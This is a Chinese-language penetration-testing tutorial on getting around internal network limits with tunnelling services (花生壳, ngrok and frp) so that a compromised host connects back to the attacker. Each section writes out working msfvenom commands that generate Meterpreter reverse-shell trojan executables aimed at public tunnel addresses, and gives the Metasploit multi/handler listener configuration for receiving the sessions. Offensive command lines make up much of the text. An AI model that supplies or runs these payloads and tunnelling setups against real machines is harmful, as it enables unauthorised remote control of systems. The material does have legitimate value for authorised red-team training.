前言

在我们渗透过程中，若内网主机能够出网，这时我们可以利用代理技术，上传木马拿下主机权限，下面主要介绍三种代理方法，使用的方法都差不不多。

一、花生壳

花生壳主要是做一个本地端口映射，将自己本地的某一个端口映射为公网地址的端口，使得内网主机执行木马连接到公网地址后，会转发到本地，得到回显。

1.端口映射

这里将kali得8080端口映射到公网地址的45528端口

2.制作木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.zicp.fun LPORT=45528 -f exe -o huashen.exe

3.设置监听并执行木马

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.221
set lport 8080
exploit

4.成功回显

二、ngrok

1.端口映射

2.制作木马

msfvenom -p windows/meterpreter/reverse_http LHOST=xxx.idcfengye.com LPORT=80 -f exe -o ngrok.exe

3.开启监听

到ngrok得目录下执行,连接服务器

./sunny clientid xxx

4.成功回显

成功接收到数据但是没有成功，应该是服务器得问题，ngrok确实不咋好用

三、frp

frp分为服务端和客户端
我们需要在公网服务器上打开frp服务，然后使用客户端连接。
本实验服务器开启服务端口为7000

1.开启客户端，连接服务器

2.制作木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx LPORT=11111 -f exe -o frp.exe

3.开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 7778
exploit

4.成功回显

总结

本期主要介绍了几种常用的代理技术，前提都得益于内网主机能够出网的情况下，不能够出网的话方法会不一样，后期会继续讨论，欢迎关注！